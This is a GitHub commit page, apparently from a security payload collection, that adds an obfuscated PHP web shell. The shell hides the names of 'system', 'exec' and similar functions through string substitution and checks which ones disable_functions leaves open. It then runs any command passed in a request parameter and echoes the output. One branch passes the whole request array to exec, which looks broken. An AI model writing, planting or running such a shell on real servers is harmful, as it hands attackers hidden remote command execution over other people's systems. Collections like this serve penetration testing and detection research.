Skip to content

Commit 839b262

Browse files
authored
Merge pull request danielmiessler#709 from azams/master
Add another obfuscated php shell and check the disable_functions.
2 parents 2e82613 + 090addc commit 839b262

File tree

1 file changed

+14
-0
lines changed

1 file changed

+14
-0
lines changed
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
<?php // Usage example: GET /another_obfuscated_phpshell.php?lol=ls%20-al
2+
$S=array(m("ncoai","msyte", "cocain"),m("sir","cex","iris"),m("otab","lshe","taboo")."_".m("sir","cex","iris"),m("gbledin","upasthr","bleeding"));
3+
$TR=m("etroubl","edisabl","trouble");$MK=m("dpreambl","sfunctio","preambled");$D=explode(",",ini_get($TR.'_'.$MK));$P=$_REQUEST;
4+
function m($a,$b,$c) {return str_replace(str_split($a), str_split($b), $c);}
5+
foreach($S as $A) {
6+
if(!in_array($A, $D)) {
7+
if($A == m("ncoai","msyte","cocain")) $A($P['lol']);
8+
elseif($A == m("sir","cex","iris")) {
9+
exec("$P 2>&1", $arr);
10+
echo join("\n",$arr)."\n";
11+
} else echo $A($P['lol']);
12+
exit;
13+
}
14+
}

0 commit comments

Comments
 (0)